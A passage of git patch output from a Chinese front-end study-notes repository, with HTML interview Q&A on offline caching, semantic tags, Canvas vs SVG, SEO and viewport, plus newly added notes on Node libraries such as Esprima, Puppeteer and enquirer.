文件的缓存机制(不是存储技术),通过这个文件上的解析清单离线存储资源,这些资源就会像cookie一样被存储了下来。之后当网络在处于离线状态下时,浏览器会通过被离线存储的数据进行页面展示** + +**使用方法:** + +(1)创建一个和 html 同名的 manifest 文件,然后在页面头部加入 manifest 属性: + +```html + +``` + +(2)在 `cache.manifest` 文件中编写需要离线存储的资源: + +```html +CACHE MANIFEST + #v0.11 + CACHE: + js/app.js + css/style.css + NETWORK: + resourse/logo.png + FALLBACK: + / /offline.html +``` + +- **CACHE**: 表示需要离线存储的资源列表,由于包含 manifest 文件的页面将被自动离线存储,所以不需要把页面自身也列出来。 +- **NETWORK**: 表示在它下面列出来的资源只有在在线的情况下才能访问,他们不会被离线存储,所以在离线情况下无法使用这些资源。不过,如果在 CACHE 和 NETWORK 中有一个相同的资源,那么这个资源还是会被离线存储,也就是说 CACHE 的优先级更高。 +- **FALLBACK**: 表示如果访问第一个资源失败,那么就使用第二个资源来替换他,比如上面这个文件表示的就是如果访问根目录下任何一个资源失败了,那么就去访问 offline.html 。 + +(3)在离线状态时,操作 `window.applicationCache` 进行离线缓存的操作。 + +**如何更新缓存:** + +(1)更新 manifest 文件 + +(2)通过 javascript 操作 + +(3)清除浏览器缓存 + +**注意事项:** + +(1)浏览器对缓存数据的容量限制可能不太一样(某些浏览器设置的限制是每个站点 5MB)。 + +(2)如果 manifest 文件,或者内部列举的某一个文件不能正常下载,整个更新过程都将失败,浏览器继续全部使用老的缓存。 + +(3)引用 manifest 的 html 必须与 manifest 文件同源,在同一个域下。 + +(4)FALLBACK 中的资源必须和 manifest 文件同源。 + +(5)当一个资源被缓存后,该浏览器直接请求这个绝对路径也会访问缓存中的资源。 + +(6)站点中的其他页面即使没有设置 manifest 属性,请求的资源如果在缓存中也从缓存中访问。 + +(7)当 manifest 文件发生改变时,资源请求本身也会触发更新。 + +### 11. 浏览器是如何对 HTML5 的离线储存资源进行管理和加载? + +- **在线的情况下**,浏览器发现 html **头部有 manifest 属性**,它会请求 manifest 文件,如果是第一次访问页面 ,那么浏览器就会根据 manifest 文件的内容下载相应的资源并且进行离线存储。如果已经访问过页面并且资源已经进行离线存储了,那么浏览器就会使用离线的资源加载页面,然后浏览器会对比新的 manifest 文件与旧的 manifest 文件,如果文件没有发生改变,就不做任何操作,如果文件改变了,就会重新下载文件中的资源并进行离线存储。 + + (第一次去下载,第二次进行新旧对比) + +- **离线的情况下**,浏览器会直接使用离线存储的资源。 + +### 12. title与h1的区别、b与strong的区别、i与em的区别?:star: + +> 一个是注重表现,一个是注重语义化 + +- strong标签有语义,是起到加重语气的效果,而b标签是没有的,b标签只是一个简单加粗标签。b标签之间的字符都设为粗体,strong标签加强字符的语气都是通过粗体来实现的,而搜索引擎更侧重strong标签。 +- title属性没有明确意义只表示是个标题,H1则表示层次明确的标题,对页面信息的抓取有很大的影响 +- **i内容展示为斜体,em表示强调的文本** + +### 13. **iframe 有那些优点和缺点?** + +iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。 + +**优点:** + +- 用来加载速度较慢的内容(如广告) +- **可以使脚本可以并行下载** +- **可以实现跨子域通信** + +**缺点:** + +- **iframe 会阻塞主页面的 onload 事件** +- **无法被一些搜索引擎索识别** +- 会产生很多页面,不容易管理 + +### 14. label 的作用是什么?如何使用? + + + +**label标签来定义表单控件的关系**:当用户选择label标签时,浏览器会自动将**焦点**转到和label标签相关的表单控件上。(指定关系,焦点聚焦) + +- 使用方法1: + +```html + + +``` + +- 使用方法2: + +```html + +``` + +### 15. Canvas和SVG的区别:star: + +**(1)SVG:** SVG可缩放矢量图形(Scalable Vector Graphics)是基于可扩展标记语言XML描述的2D图形的语言,SVG基于XML就意味着SVG DOM中的每个元素都是可用的,可以为某个元素附加Javascript事件处理器。在 SVG 中,每个被绘制的图形均被视为对象。如果 SVG 对象的属性发生变化,那么浏览器能够自动重现图形。 + +其特点如下: + +- 不依赖分辨率 +- 支持事件处理器 +- 最适合带有大型渲染区域的应用程序(比如谷歌地图) +- 复杂度高会减慢渲染速度(任何过度使用 DOM 的应用都不快,不适合复杂场景绘制) +- **不适合游戏应用(多个SVG节点,浏览器渲染压力大,多节点需要处理,还可能导致更多的重拍和重绘)** + +**(2)Canvas:** Canvas是画布,通过Javascript来绘制2D图形,**是逐像素进行渲染的。其位置发生改变,就会重新进行绘制。**(就是一块绘画的地方) + +其特点如下: + +- 依赖分辨率 +- 不支持事件处理器 +- 弱的文本渲染能力 +- 能够以 .png 或 .jpg 格式保存结果图像 +- 最适合图像密集型的游戏,其中的许多对象会被频繁重绘 + +注:矢量图,也称为面向对象的图像或绘图图像,在数学上定义为一系列由线连接的点。矢量文件中的图形元素称为对象。每个对象都是一个自成一体的实体,它具有颜色、形状、轮廓、大小和屏幕位置等属性。 + +### 16. head 标签有什么作用,其中什么标签必不可少?:star: + +标签用于定义文档的头部,**它是所有头部元素的容器。 中的元素可以引用脚本、指示浏览器在哪里找到样式表、提供元信息等。** + +文档的头部描述了文档的各种属性和信息,包括文档的标题、在 Web 中的位置以及和其他文档的关系等。绝大多数文档头部包含的数据都不会真正作为内容显示给读者。 + +下面这些标签可用在 head 部分:`, , , + ``` + + - 当浏览器解析到该元素时,会暂停浏览器的渲染,直到该资源加载完毕,这也是js脚本放到底部的原因 + +- 总结 + + - src用于引入文件,href用于在当前文档和引用资源之间建立联系。 + +### link标签和script标签的引用位置? + +**简介:link标签和script标签的引用位置** + +- 考点:页面渲染机制 + +- link标签放在head标签中 + + - 用户访问网站时,代码是从上往下解析的,正常展示页面内容的样式,提高用户体验 + + - 放在 html 结构底部时,加载页面会出现 html 结构混乱的情况 + +- script标签放在body结束标签之前 + + - JS脚本在下载和执行期间会阻止 html 解析 + + - 把 script 标签放在底部,保证 html和css 首先完成解析之后再加载 JS 脚本 + + - script 标签加上 defer 属性时,可以放在 head 标签中 (async) + + ```html + + ``` + + + +### 如何提高一个网站的搜索权重? + +**简介:提高网站的搜索权重** + +- 考点:SEO优化、HTML语义化 + +- 难度【*】 + +- SEO优化(TDK) + + - 设置网站的 **title** 标题标签,如: + + ```html + 小滴课堂 + ``` + + - 设置网站的 **description** 描述标签,如: + + ```html + + ``` + + - 设置网站的 **keywords** 关键词标签,如: + + ```html + + ``` + + +- HTML语义化 + + - 使用正确的标签引用正确的内容 + + - 增强了可读性,结构更加清晰,便于对浏览器、搜索引擎解析 + + - 搜索引擎的爬虫也依赖于 HTML 标记来确定上下文和各个关键字的权重,利于 SEO + + ```js + header、footer、a、p、ul、ol、li、h1、h2、h3... + ``` + +### 在不同移动设备的屏幕下正常展示网页的内容? + +**简介:设置移动端视口大小** + +- 考点:meta标签viewport属性 + +- viewport + + ![image-20220224161329007](https://cdn.yihuiblog.top/images/image-20220224161329007.png) + + - 定义 + + - 手机浏览器会把页面放入到一个虚拟的视口(viewpoint)中,但 viewport 又不局限于浏览器可视区域的大小,它可能比浏览器的可视区域大,也可能比浏览器的可视区域小。通常这个虚拟的视口(viewport)比屏幕宽,会把网页挤到一个很小的窗口。 + + - 使用 + + ```html + + ``` + + - 属性 + + ```js + width:设置viewport的宽度 + height:设置viewport的高度 + initial-scale:设置页面的初始缩放值 + minimum-scale:允许用户的最小缩放值 + maximum-scale:允许用户的最大缩放值 + user-scalable:是否允许用户进行缩放,no 代表不允许,yes代表允许 + ``` + + +### DOM和BOM的区别和使用? + +- DOM + + - 定义 + + - DOM就是⽂档对象模型,是⼀个抽象的概念 + + - 定义了访问和操作HTML⽂档的⽅法和属性 + + + + - 使用 + + - 查找节点 + + ```js + document.getElementById("xd") + ``` + + - 改变元素 + + ```js + document.getElementById("xd").innerHTML = '

    xdclass.net

    '; + ``` + + - 创建元素 + + ```js + document.createElement('h1') + ``` + +- BOM + + - 定义 + + - BOM就是浏览器对象模型 + + - 内置对象定义操作浏览器的方法 + +- 使用 + + - window + + ```js + window.alert('你好,小滴课堂') + ``` + + - screen + + ```js + console.log(window.screen.width) + ``` + + - location + + ```js + window.location.href + ``` + + - localStorage + + ```js + window.localStorage.setItem(key, value) + ``` + + - history + + ```js + window.history.go(1) + ``` + From 01821befef7b3a744aaac5beda4ef93bce9bcd44 Mon Sep 17 00:00:00 2001 From: MoMeak9 <1308994506@qq.com> Date: Tue, 11 Jul 2023 01:35:28 +0800 Subject: [PATCH 07/26] =?UTF-8?q?docs:=20=E2=9C=8F=EF=B8=8F=20JS=E6=96=87?= =?UTF-8?q?=E7=AB=A0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- "src/Node/\345\272\223/ESLint.md" | 1 + "src/Node/\345\272\223/EditorConfig.md" | 0 .../Esprima \346\214\207\345\215\227.md" | 71 + ...70\345\205\263\345\267\245\345\205\267.md" | 18 + "src/Node/\345\272\223/Prettier.md" | 0 ...77\347\224\250\346\214\207\345\215\227.md" | 75 + "src/Node/\345\272\223/Vue 3 meta.md" | 4 + .../commander \346\214\207\345\215\227.md" | 0 .../enquirer \346\214\207\345\215\227.md" | 178 ++ "src/Node/\345\272\223/husky.md" | 0 ...77\347\224\250\346\214\207\345\215\227.md" | 1 + ...57\346\227\213\350\275\254\345\231\250.md" | 344 +++ ...14\347\276\216\347\232\204\345\272\223.md" | 0 ...77\347\224\250\346\214\207\345\215\227.md" | 132 + ...60\347\273\204\345\216\273\351\207\215.md" | 45 + ...23\345\207\272\345\210\244\346\226\255.md" | 2082 ++++++++++++++ ...73\357\274\210\344\270\212\357\274\211.md" | 2444 +++++++++++++++++ ...73\357\274\210\344\270\213\357\274\211.md" | 983 +++++++ ...30\351\242\221\346\211\213\346\222\225.md" | 2118 ++++++++++++++ ...30\351\242\221\346\211\213\346\222\225.md" | 1280 +++++++++ ...30\347\233\256\346\261\207\346\200\273.md" | 803 ++++++ 21 files changed, 10579 insertions(+) create mode 100644 "src/Node/\345\272\223/ESLint.md" create mode 100644 "src/Node/\345\272\223/EditorConfig.md" create mode 100644 "src/Node/\345\272\223/Esprima \346\214\207\345\215\227.md" create mode 100644 "src/Node/\345\272\223/Git \347\233\270\345\205\263\345\267\245\345\205\267.md" create mode 100644 "src/Node/\345\272\223/Prettier.md" create mode 100644 "src/Node/\345\272\223/Puppeteer \344\275\277\347\224\250\346\214\207\345\215\227.md" create mode 100644 "src/Node/\345\272\223/Vue 3 meta.md" create mode 100644 "src/Node/\345\272\223/commander \346\214\207\345\215\227.md" create mode 100644 "src/Node/\345\272\223/enquirer \346\214\207\345\215\227.md" create mode 100644 "src/Node/\345\272\223/husky.md" create mode 100644 "src/Node/\345\272\223/inquirer \344\275\277\347\224\250\346\214\207\345\215\227.md" create mode 100644 "src/Node/\345\272\223/ora \344\274\230\351\233\205\347\232\204\347\273\210\347\253\257\346\227\213\350\275\254\345\231\250.md" create mode 100644 "src/Node/\345\272\223/validate-npm-package-name \345\260\217\350\200\214\347\276\216\347\232\204\345\272\223.md" create mode 100644 "src/Node/\345\272\223/yargs \344\275\277\347\224\250\346\214\207\345\215\227.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \346\225\260\347\273\204\345\216\273\351\207\215.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \350\276\223\345\207\272\345\210\244\346\226\255.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273\357\274\210\344\270\212\357\274\211.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273\357\274\210\344\270\213\357\274\211.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\253\230\351\242\221\346\211\213\346\222\225.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript\351\253\230\351\242\221\346\211\213\346\222\225.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/JavaScript/\345\260\217\346\273\264\350\257\276\345\240\202JS\351\242\230\347\233\256\346\261\207\346\200\273.md" diff --git "a/src/Node/\345\272\223/ESLint.md" "b/src/Node/\345\272\223/ESLint.md" new file mode 100644 index 00000000..0bbb2286 --- /dev/null +++ "b/src/Node/\345\272\223/ESLint.md" @@ -0,0 +1 @@ +LintStaged \ No newline at end of file diff --git "a/src/Node/\345\272\223/EditorConfig.md" "b/src/Node/\345\272\223/EditorConfig.md" new file mode 100644 index 00000000..e69de29b diff --git "a/src/Node/\345\272\223/Esprima \346\214\207\345\215\227.md" "b/src/Node/\345\272\223/Esprima \346\214\207\345\215\227.md" new file mode 100644 index 00000000..644a6875 --- /dev/null +++ "b/src/Node/\345\272\223/Esprima \346\214\207\345\215\227.md" @@ -0,0 +1,71 @@ +Esprima是一个高性能、符合标准的 ECMAScript解析器,用 ECMAScript(也通常称为 JavaScript)编写。它可以对 JavaScript 代码进行词法分析(标记化)或语法分析(解析),生成一个包含代码结构信息的语法树。Esprima 支持 ECMAScript 2016(ECMA-262 第七版)的所有特性,以及 JSX,一种用于 React 的语法扩展。Esprima 的特点有: + +- 高性能:Esprima 是目前最快的 JavaScript 解析器之一,它可以在毫秒级别解析数千行的代码。 +- 符合标准:Esprima 遵循了 ECMAScript 的最新标准,支持了 ES6、ES7、ES8 等新特性,如箭头函数、模板字符串、解构赋值等。 +- 易用:Esprima 提供了简洁的 API,只需要一行代码就可以解析 JavaScript 代码,并返回一个 AST 对象,我们可以通过遍历或修改这个对象来操作代码。 +- 可扩展:Esprima 允许我们自定义语法节点的类型和属性,这样我们可以根据自己的需求来扩展 AST 的功能。 + +Esprima 的主要用途是进行静态代码分析,以便对代码进行深入的理解和改进。例如,可以使用 Esprima 来实现以下功能: + +- 代码分析:我们可以使用 Esprima 来检查代码的质量、风格、复杂度等指标,或者寻找代码中的错误、漏洞、冗余等问题。 +- 代码转换:我们可以使用 Esprima 来实现代码的转换、重构、优化等功能,比如把 ES6 代码转换成 ES5 代码,或者把 JavaScript 代码转换成其他语言的代码。 +- 代码生成:我们可以使用 Esprima 来生成新的代码,比如根据 AST 来生成文档、测试用例、注释等。 + +但是 Esprima 也有一些局限性,比如: + +- 只支持 JavaScript:Esprima 只能解析标准的 JavaScript 语法,不支持其他的语言扩展,如 flow 或者 typescript。如果我们想要解析这些语言,我们需要使用其他的解析器,比如 typescript 内置的 AST 解析器。 +- 不支持源码映射:Esprima 不提供源码映射(source map)的功能,也就是说,如果我们对代码进行了修改或转换,我们无法追踪到原始的代码位置。这可能会给调试带来一些困难。 + +Esprima 是一个开源项目,遵循 BSD 许可协议,由 Ariya Hidayat 创建并维护,得到了许多贡献者的帮助。Esprima 的官方网站是 https://esprima.org/ ,其中提供了完整的文档、示例、工具和资源。 + +## 使用 Esprima + +首先,我们需要安装 Esprima,可以使用 npm 命令: + +```bash +npm install esprima --save +``` + +然后,我们可以在 Node.js 环境中引入 Esprima,并使用它的 parseScript 或 parseModule 方法来解析 JavaScript 代码,例如: + +```js +var esprima = require('esprima'); +var code = 'var a = 1 + 2;'; +var ast = esprima.parseScript(code); + +console.log(ast); +``` + +运行这段代码,我们可以看到输出的 AST 结构如下: + +```js +{ + type: 'Program', + body: [ + { + type: 'VariableDeclaration', + declarations: [ + { + type: 'VariableDeclarator', + id: { type: 'Identifier', name: 'a' }, + init: { + type: 'BinaryExpression', + operator: '+', + left: { type: 'Literal', value: 1, raw: '1' }, + right: { type: 'Literal', value: 2, raw: '2' } + } + } + ], + kind: 'var' + } + ], + sourceType: 'script' +} +``` + +从这个例子可以看出,Esprima 可以将代码中的每个语法元素都映射到一个具有类型和属性的节点上,这样我们就可以根据节点的类型和属性来进行不同的操作。 + + +## 小结 + +值得注意的是,Esprima 只支持 JavaScript,不支持 flow 或者 TypeScript 格式。如果是使用 TypeScript,可以使用 TypeScript 内置的 AST 解析器。TypeScript 的 AST 解析器也是一个高性能、符合标准的 ECMAScript 解析器,但是它还支持 TypeScript 的一些特有的语法特性,如类型注解、枚举、泛型等。TypeScript 的 AST 解析器的用法和 Esprima 类似,也可以生成一个包含代码结构信息的语法树。TypeScript 的 AST 解析器的官方网站是 https://www.typescriptlang.org/docs/handbook/compiler-options.html ,其中提供了详细的文档和示例。 \ No newline at end of file diff --git "a/src/Node/\345\272\223/Git \347\233\270\345\205\263\345\267\245\345\205\267.md" "b/src/Node/\345\272\223/Git \347\233\270\345\205\263\345\267\245\345\205\267.md" new file mode 100644 index 00000000..9c4d3db6 --- /dev/null +++ "b/src/Node/\345\272\223/Git \347\233\270\345\205\263\345\267\245\345\205\267.md" @@ -0,0 +1,18 @@ + +Git 相关工具: commitlint, commitizen, Standard Version + +Git 是一个非常强大的版本控制系统,它可以帮助我们管理代码的变更历史,协作开发,以及发布软件。但是,Git 也有一些不足之处,比如: + +- Git 的提交信息(commit message)没有统一的格式和规范,导致不同的开发者写出不同风格和质量的信息,难以阅读和维护。 +- Git 的版本号(version number)没有明确的含义和标准,导致不同的项目使用不同的方式来定义和更新版本号,难以理解和管理。 +- Git 的发布流程(release process)没有自动化的工具和流程,导致每次发布都需要手动执行一系列的命令和操作,容易出错和遗漏。 + +为了解决这些问题,我们可以使用一些 Git 相关的工具来辅助我们的开发和发布工作,这里介绍三个比较常用的工具:commitlint, commitizen, Standard Version。 + +1. commitlint 是一个用来检查提交信息是否符合规范的工具,它可以在提交前或者提交后对提交信息进行校验,如果不符合规范,就会给出提示或者拒绝提交。commitlint 支持多种规范,比如 Angular 规范、Conventional Commits 规范等,也可以自定义规范。使用 commitlint 可以让我们的提交信息更加规范、清晰、有意义。 + +2. commitizen 是一个用来生成提交信息的工具,它可以在提交时提供一个交互式的界面,让我们按照规范填写提交信息的各个部分,比如类型、范围、主题、正文、页脚等。commitizen 可以与 commitlint 配合使用,保证生成的提交信息符合规范。使用 commitizen 可以让我们的提交信息更加方便、快捷、一致。 + +3. Standard Version 是一个用来管理版本号和发布流程的工具,它可以根据提交信息自动更新版本号、生成更新日志(changelog)、创建标签(tag)、推送代码等。Standard Version 遵循语义化版本(Semantic Versioning)的原则,即使用三位数字表示版本号(major.minor.patch),并根据提交信息的类型来决定版本号的增加方式。使用 Standard Version 可以让我们的版本号更加有意义、可追踪、可预测,并且可以简化我们的发布流程。 + +总之,这三个工具都是基于 Git 的辅助工具,它们可以帮助我们提高代码质量、团队协作、软件发布等方面的效率和效果。如果你对这些工具感兴趣,可以参考它们的官方文档或者相关教程来了解更多细节和用法。 \ No newline at end of file diff --git "a/src/Node/\345\272\223/Prettier.md" "b/src/Node/\345\272\223/Prettier.md" new file mode 100644 index 00000000..e69de29b diff --git "a/src/Node/\345\272\223/Puppeteer \344\275\277\347\224\250\346\214\207\345\215\227.md" "b/src/Node/\345\272\223/Puppeteer \344\275\277\347\224\250\346\214\207\345\215\227.md" new file mode 100644 index 00000000..03c661f0 --- /dev/null +++ "b/src/Node/\345\272\223/Puppeteer \344\275\277\347\224\250\346\214\207\345\215\227.md" @@ -0,0 +1,75 @@ +Puppeteer 是一个 Node 库,它提供了一个高级 API 来通过 [DevTools](https://chromedevtools.github.io/devtools-protocol/) 协议控制 Chromium 或 Chrome。Puppeteer 默认以 [headless](https://developers.google.com/web/updates/2017/04/headless-chrome) 模式运行,但是可以通过修改配置文件运行“non-headless”模式。 + +在本文中,我将介绍 Puppeteer 的基本用法和一些实际的应用场景,例如网页截图、PDF 生成、自动化测试、网络爬虫等。我也将分享一些 Puppeteer 的最佳实践和常见问题的解决方法。 + +## Puppeteer 的安装和启动 + +要使用 Puppeteer,首先需要安装 Node.js 和 npm。然后,在项目目录下运行以下命令: + +```bash +npm install puppeteer +``` + +这将下载最新版本的 Chromium,并将 Puppeteer 安装为项目的依赖项。如果你想使用其他版本的 Chromium 或 Chrome,你可以通过设置环境变量 `PUPPETEER_EXECUTABLE_PATH` 来指定浏览器的路径。 + +接下来,我们可以创建一个 JavaScript 文件,例如 `index.js`,并在其中编写以下代码: + +```javascript +const puppeteer = require('puppeteer'); + +(async () => { +// 启动浏览器 +const browser = await puppeteer.launch(); +// 创建一个新页面 +const page = await browser.newPage(); +// 访问一个网址 +await page.goto('https://example.com'); +// 关闭浏览器 +await browser.close(); +})(); +``` + +这段代码使用了 [async/await](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous/Async_await) 语法,它可以让我们以同步的方式编写异步的代码。我们首先导入了 puppeteer 模块,然后使用 `puppeteer.launch()` 方法启动了一个浏览器实例,并返回了一个 `browser` 对象。然后,我们使用 `browser.newPage()` 方法创建了一个新页面,并返回了一个 `page` 对象。接着,我们使用 `page.goto()` 方法访问了一个网址,并等待页面加载完成。最后,我们使用 `browser.close()` 方法关闭了浏览器。 + +要运行这段代码,我们可以在命令行中输入: + +```bash +node index.js +``` + +这将在后台启动一个 headless 的浏览器,并访问指定的网址。如果我们想看到浏览器的界面,我们可以在启动浏览器时传入一个选项对象,例如: + +```javascript +const browser = await puppeteer.launch({ headless: false }); +``` + +这将以 non-headless 模式运行浏览器,并显示一个窗口。我们还可以通过其他选项来控制浏览器的行为,例如窗口大小、代理设置、用户代理字符串等。更多选项可以参考 [Puppeteer 的文档](https://pptr.dev/#?product=Puppeteer&version=v12.0.1&show=api-puppeteerlaunchoptions)。 + +## Puppeteer 的基本操作 +有了 browser 和 page 对象,我们就可以对浏览器和页面进行各种操作。例如: + +截取网页的屏幕截图或生成 PDF 文件: + +```js +// 截取网页的屏幕截图 +await page.screenshot({path: 'example.png'}); + +// 生成 PDF 文件 +await page.pdf({path: 'example.pdf'}); +``` + +这两个方法都接受一个可选的配置对象,可以指定一些参数,如截图的质量、大小、裁剪区域等,或者 PDF 的格式、边距、打印背景等。具体的参数可以参考 Puppeteer 的文档。 + +除了截图和生成 PDF,Puppeteer 还可以实现以下常用的操作: + +- 导航到指定的 URL:`await page.goto('https://example.com')`; +- 等待页面加载完成:`await page.waitForNavigation()`; +- 等待指定的元素出现:`await page.waitForSelector('#id')`; +- 点击指定的元素:`await page.click('#id')`; +- 输入文本到指定的元素:`await page.type('#id', 'text')`; +- 获取指定元素的文本内容:`const text = await page.$eval('#id', el => el.textContent)`; +- 获取指定元素的属性值:`const value = await page.$eval('#id', el => el.value)`; +- 执行任意的 JavaScript 代码:`await page.evaluate(() => { /* code */ })`; +- 监听页面的事件:`page.on('event', handler)`; + +以上只是 Puppeteer 的一些基本操作,还有很多高级的功能,如模拟用户行为、拦截网络请求、处理弹窗、模拟设备等,可以让我们更灵活地控制浏览器和页面。Puppeteer 是一个强大而灵活的工具,可以用于网页爬虫、自动化测试、性能分析等场景。如果你想了解更多 Puppeteer 的用法,可以参考官方的示例和文档。 diff --git "a/src/Node/\345\272\223/Vue 3 meta.md" "b/src/Node/\345\272\223/Vue 3 meta.md" new file mode 100644 index 00000000..8e96c40f --- /dev/null +++ "b/src/Node/\345\272\223/Vue 3 meta.md" @@ -0,0 +1,4 @@ + +[javascript - How to use Vue 3 Meta with Vue.js 3? - Stack Overflow](https://stackoverflow.com/questions/66228340/how-to-use-vue-3-meta-with-vue-js-3) +[nuxt/vue-meta: Manage HTML metadata in Vue.js components with SSR support](https://github.com/nuxt/vue-meta) +[十二、学习VUE前端-vue3使用vue-meta来设置meta信息](http://blog.superabbit.cn/article/detail/9b354f5cf74c4d8b98891b80519b72ab) \ No newline at end of file diff --git "a/src/Node/\345\272\223/commander \346\214\207\345\215\227.md" "b/src/Node/\345\272\223/commander \346\214\207\345\215\227.md" new file mode 100644 index 00000000..e69de29b diff --git "a/src/Node/\345\272\223/enquirer \346\214\207\345\215\227.md" "b/src/Node/\345\272\223/enquirer \346\214\207\345\215\227.md" new file mode 100644 index 00000000..f4b49d01 --- /dev/null +++ "b/src/Node/\345\272\223/enquirer \346\214\207\345\215\227.md" @@ -0,0 +1,178 @@ +## 安装 + +[npm](https://www.npmjs.com/) 安装: + +```shell +$ npm install enquirer --save +``` + +[yarn](https://yarnpkg.com/en/) 安装: + +```shell +$ yarn add enquirer +``` + +## 使用 + +### 问答题 + +使用 enquirer 的最简单方法是将[问题对象](https://www.npmjs.com/package/enquirer#prompt-options)传递给该`prompt`方法。 + +```js +const { prompt } = require('enquirer'); + +const response = await prompt({ + type: 'input', + name: 'username', + message: 'What is your username?' +}); + +console.log(response); // { username: 'jonschlinkert' } +``` + +await(需要在 async 函数内部运行) + +遇到多个问题,可以将多个问题对象以数组形式传给`prpmpt`方法,返回完整的答案对象。 + +```js +const response = await prompt([ + { + type: 'input', + name: 'name', + message: 'What is your name?' + }, + { + type: 'input', + name: 'username', + message: 'What is your username?' + } +]); + +console.log(response); // { name: 'Edward Chan', username: 'edwardmchan' } +``` + +#### 问题对象类型 + +```js +{ + type: String, // 表示提问的类型,下文会单独解释 + name: String, // 在最后获取到的answers回答对象中,作为当前这个问题的键 + message: String|Function, // 打印出来的问题标题,如果为函数的话 + default: String|Number|Array|Function, // 用户不输入回答时,问题的默认值。或者使用函数来return一个默认值。假如为函数时,函数第一个参数为当前问题的输入答案。 + choices: Array|Function, // 给出一个选择的列表,假如是一个函数的话,第一个参数为当前问题的输入答案。为数组时,数组的每个元素可以为基本类型中的值。 + validate: Function, // 接受用户输入,并且当值合法时,函数返回true。当函数返回false时,一个默认的错误信息会被提供给用户。 + filter: Function, // 接受用户输入并且将值转化后返回填充入最后的answers对象内。 + when: Function|Boolean, // 接受当前用户输入的answers对象,并且通过返回true或者false来决定是否当前的问题应该去问。也可以是简单类型的值。 + pageSize: Number, // 改变渲染list,rawlist,expand或者checkbox时的行数的长度。 +} +``` + +### 运行查询器的不同方法 + +#### 1.通过导入特定的`built-in prompt` + +```js +const { Confirm } = require('enquirer'); + +const prompt = new Confirm({ + name: 'question', + message: 'Did you like enquirer?' +}); + +prompt.run().then(answer => console.log('Answer:', answer)); +``` + +#### 2.通过将选项传递给`prompt` + +```js +const { prompt } = require('enquirer'); + +prompt({ + type: 'confirm', + name: 'question', + message: 'Did you like enquirer?' +}) + .then(answer => console.log('Answer:', answer)); +``` + +### 更多案例 + +- [自动完成提示](https://www.npmjs.com/package/enquirer#autocomplete-prompt) +- [BasicAuth 提示](https://www.npmjs.com/package/enquirer#basicauth-prompt) +- [确认提示](https://www.npmjs.com/package/enquirer#confirm-prompt) +- [表单提示](https://www.npmjs.com/package/enquirer#form-prompt) +- [输入提示](https://www.npmjs.com/package/enquirer#input-prompt) +- [隐形提示](https://www.npmjs.com/package/enquirer#invisible-prompt) +- [列表提示](https://www.npmjs.com/package/enquirer#list-prompt) +- [多选提示](https://www.npmjs.com/package/enquirer#multiselect-prompt) +- [数字提示](https://www.npmjs.com/package/enquirer#numeral-prompt) +- [密码提示](https://www.npmjs.com/package/enquirer#password-prompt) +- [测验提示](https://www.npmjs.com/package/enquirer#quiz-prompt) +- [调查提示](https://www.npmjs.com/package/enquirer#survey-prompt) +- [比例提示](https://www.npmjs.com/package/enquirer#scale-prompt) +- [选择提示](https://www.npmjs.com/package/enquirer#select-prompt) +- [排序提示](https://www.npmjs.com/package/enquirer#sort-prompt) +- [片段提示](https://www.npmjs.com/package/enquirer#snippet-prompt) +- [切换提示](https://www.npmjs.com/package/enquirer#toggle-prompt) + +#### 按类型分类示例 + +- [数组提示](https://www.npmjs.com/package/enquirer#arrayprompt) + - [选项](https://www.npmjs.com/package/enquirer#options) + - [特性](https://www.npmjs.com/package/enquirer#properties) + - [方法](https://www.npmjs.com/package/enquirer#methods) + - [选择](https://www.npmjs.com/package/enquirer#choices) + - [定义选择](https://www.npmjs.com/package/enquirer#defining-choices) + - [选择属性](https://www.npmjs.com/package/enquirer#choice-properties) + - [相关提示](https://www.npmjs.com/package/enquirer#related-prompts) +- [授权提示](https://www.npmjs.com/package/enquirer#authprompt) +- [布尔提示](https://www.npmjs.com/package/enquirer#booleanprompt) +- [号码提示](https://www.npmjs.com/package/enquirer#numberprompt) +- [字符串提示符](https://www.npmjs.com/package/enquirer#stringprompt) + +### 支持自动补全 + +提示在用户键入时自动完成,并将所选值作为字符串返回。 + +```js +const { AutoComplete } = require('enquirer'); + +const prompt = new AutoComplete({ + name: 'flavor', + message: 'Pick your favorite flavor', + limit: 10, + initial: 2, + choices: [ + 'Almond', + 'Apple', + 'Banana', + 'Blackberry', + 'Blueberry', + 'Cherry', + 'Chocolate', + 'Cinnamon', + 'Coconut', + 'Cranberry', + 'Grape', + 'Nougat', + 'Orange', + 'Pear', + 'Pineapple', + 'Raspberry', + 'Strawberry', + 'Vanilla', + 'Watermelon', + 'Wintergreen' + ] +}); + +prompt.run() + .then(answer => console.log('Answer:', answer)) + .catch(console.error); +``` + +## 参考文档 + +- [enquirer - npm](https://www.npmjs.com/package/enquirer) +- [NodeJs 交互式命令行工具 Inquirer.js - 开箱指南 - 掘金](https://juejin.cn/post/6844903480700698638) +- [inquirer.js —— 一个用户与命令行交互的工具_xhsdnn的博客-CSDN博客_inquirer.js](https://blog.csdn.net/qq_26733915/article/details/80461257) \ No newline at end of file diff --git "a/src/Node/\345\272\223/husky.md" "b/src/Node/\345\272\223/husky.md" new file mode 100644 index 00000000..e69de29b diff --git "a/src/Node/\345\272\223/inquirer \344\275\277\347\224\250\346\214\207\345\215\227.md" "b/src/Node/\345\272\223/inquirer \344\275\277\347\224\250\346\214\207\345\215\227.md" new file mode 100644 index 00000000..d0887555 --- /dev/null +++ "b/src/Node/\345\272\223/inquirer \344\275\277\347\224\250\346\214\207\345\215\227.md" @@ -0,0 +1 @@ +比enquirer.js目前更积极更新更活跃的Node.js 问答库 \ No newline at end of file diff --git "a/src/Node/\345\272\223/ora \344\274\230\351\233\205\347\232\204\347\273\210\347\253\257\346\227\213\350\275\254\345\231\250.md" "b/src/Node/\345\272\223/ora 